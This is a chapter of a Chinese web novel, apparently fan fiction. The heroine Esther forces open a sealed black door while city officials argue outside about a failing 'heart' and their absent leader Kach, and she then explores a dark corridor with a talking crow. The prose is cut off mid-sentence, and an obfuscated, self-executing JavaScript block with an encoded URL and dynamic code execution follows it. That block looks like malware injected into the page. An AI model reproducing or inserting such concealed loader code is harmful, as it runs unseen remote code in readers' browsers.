艾丝特靠近那扇大门的时候，列夫仍然站在巴利特利与史密斯之间，并没有再上前替她引路的意思，所以她在黑色的大门前停步，回头望向那几人。
不出意外，艾丝特看到了巴利特利阴沉而不安的眼神，史密斯还是没有抬头，而列夫与艾丝特对上视线的时候，他随意地点点头——这动作更像是在敷衍，没有任何实际的引导意义在里面。
既然这样，艾丝特也不再犹豫，她果断地抬手往前推去，然而那扇大门格外沉重，她第一下试探着往前，竟然完全没能让它有所移动。
艾丝特没有回头，而是再度往前推了第二次——并用上了一点非凡能力，她欺诈了自己对这扇门施加的「推力」，使得它以数倍的反应，落在门体上。
沉闷的摩擦声里，门扉往后缓缓退去，艾丝特注意到自己的手掌底下竟然亮起一点微光，担心引起什么异变，她只能迅速地挪开了手。
厚重的黑色石板只让开一点门缝，留出一个能让单人侧身通过的缝隙，艾丝特担心它会再度关闭，就毫不犹豫地闪身钻了过去，
不等艾丝特再有任何动作，那道缝隙便缓缓合拢，仿佛与外界间充斥着无形的排斥力。
列夫重重地叹了口气，一屁股坐进巴利特利另一边的石椅里，他整个人都瘫倒在上面，双眼无神地盯着那扇合拢的黑色大门。
见那位「客人」真就自己推开门，走进了里面，巴利特利的神色反而不那么阴沉了，她若有所思地瞥了列夫一眼。
这位美丽过人的女士，摩擦起自己染上青色液体的指甲，那上面精心绘制着花瓣般的血红花纹：
「怎么，不想干了？」
「一百多年前晋升的时候就不想干了，我只想带着所有人离开这个火炉，」列夫有气无力地回答道，「真不知道你是怎么坚持下来的！这么两千多年啊，每天都活在这地方随时可能爆炸的恐惧里……现在又冒出来了那些早就没消息的神话人物！」
史密斯的脸色还是很苍白，只是他的坐姿却将后背挺得笔直：「如果不是神子殿下回应了卡赫的祈祷，上一次‘心脏\"出现爆炸的时候，火花城就已经消失了。」
短暂沉默后，列夫又开始了：「我当然知道我们应该感激神子殿下，我只越来越看不懂卡赫了，她现在的情况让我觉得怪异，尤其是她越来越无所顾忌地出入那扇门，我甚至怀疑她已经受到了污染……」
「不，我检查过很多次，卡赫完全没有问题。」巴利特利果断地说道。
列夫一拳捶在桌面上：「我不信任眼下的情况，我现在也无法信任卡赫！你要知道，主和战争天使已经多少年没有任何回应了，可是‘神子殿下\"？全知全能的主啊！这么多年，我们死了多少居民多少‘长官\"，没有任何回应，结果卡赫她就能这么好运地——」
巴利特利不耐烦地打断了列夫的抱怨，当她把眉毛挑高的时候，神态就变得相当傲人：「使命，亲爱的列夫，那是因为我的使命、我们的使命！我倒是理解卡赫不顾一切的勇气，换做是我，说不定也愿意做出这样的尝试。而你，我们都知道一向缺乏对这种使命的坚持与荣誉感。」
「严格意义上来讲，我是人类，不是血族，」列夫咬紧牙关嘟囔着，「去他个烂锤头的荣誉感，我早就烦透了这座城市……」
「不，我们早就不是了。」史密斯突然抬起头插话道，他又一次成功制造了冷场，圆桌上很久都没有任何声音响起。
最终还是列夫重新坐正身体，以手势比划了一个十字架：「希望真的如卡赫所说，那位预言中的神子或者客人，能帮助她解决‘心脏\"内的异变。」
「我们早就
做好了死亡的觉悟。」史密斯在说这句话的时候，眼中那种恍惚突然不见了，他坚定地盯着列夫的脸，就好像在审视对方是否还抱有相应的决心。
「是、是，那是每一位‘长官\"都要立下的誓言，这一点我记着呢。」列夫说着，声音也逐渐低了下去。
巴利特利轻哼一声，没有继续跟他争论，这个男人说话一向如此，总能引起身边人的厌烦。
史密斯的目光转向那扇黑色的大门，喃喃自语道：「卡赫她，总是很聪明。她一定没关系的……」
——
「刚才他们提到了还有一个人，好像叫卡赫，应该也是这里的‘长官\"？」
自从门缝里的那点光亮被隔绝，艾丝特便孤身留在了这条纯黑无光的拱形长廊里，她也并不算一个人，还得加上她肩头那只热衷于卖关子的乌鸦。
在这片大陆上，这应当是很危险的情况，因为黑暗里会有「隐秘」的力量，很轻易将走在其间的人吞没。但是在这扇门之后，连「隐秘」的力量都无法渗透，这里的极度黑暗反而是安全的。
艾丝特的发丝间飘落一团光点，如一盏缥缈的虚幻灯笼，环绕着她悠悠飞行，光团多少驱散了周围的黑暗，至少让艾丝特能用肉眼看清脚下的路。
这里的情况有些诡异，她不敢放开了使用自己窥视命运的感知，这样摸黑前进还算能接受，要是看到了糟糕的东西，那对她来说更不妙。
乌鸦简短地回答了艾丝特刚才的疑问：「是。」
「那位卡赫应该就在这里面……可是为什么我一点光都没看到？」
与外界的建筑有一点相似的是，这里到处都有镶嵌在平面上的菱形符号，但是上面刻画的线条更加凌乱，到处都有中断。
即使有光芒，艾丝特仍然感觉附近的黑暗沉重而黏稠，几乎要如泥沼般挂在她身上，更加让艾丝特不舒服的，是这里弥漫着一股浓郁腥甜的「气味」。
那不是通过鼻腔进入大脑的气味粒子，而是某种引起她警觉的异物，虽然过去艾丝特曾经闻到过相似的味道，但是那种「气味」的源头，往往是……
「阿蒙，这里究竟是什么地方？」
「这是一颗从某处源质诞生的‘心脏\"。」
艾丝特的脚步仿佛被钉在了地面上：「所以你之前说，还有七座幸存的城市……」
乌鸦的声音带着一分戏谑：「难道你不知道吗？我以为你知道在东边更东，那里有隔绝着另一片大陆的灰雾封印。但是，很悲哀的是，自从那个光辉的年代落幕，它就变得越来越脆弱了。」
艾丝特没有说话，她出神地望着身前的光团，脸上浮现一阵挣扎。
「卓娅，你
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();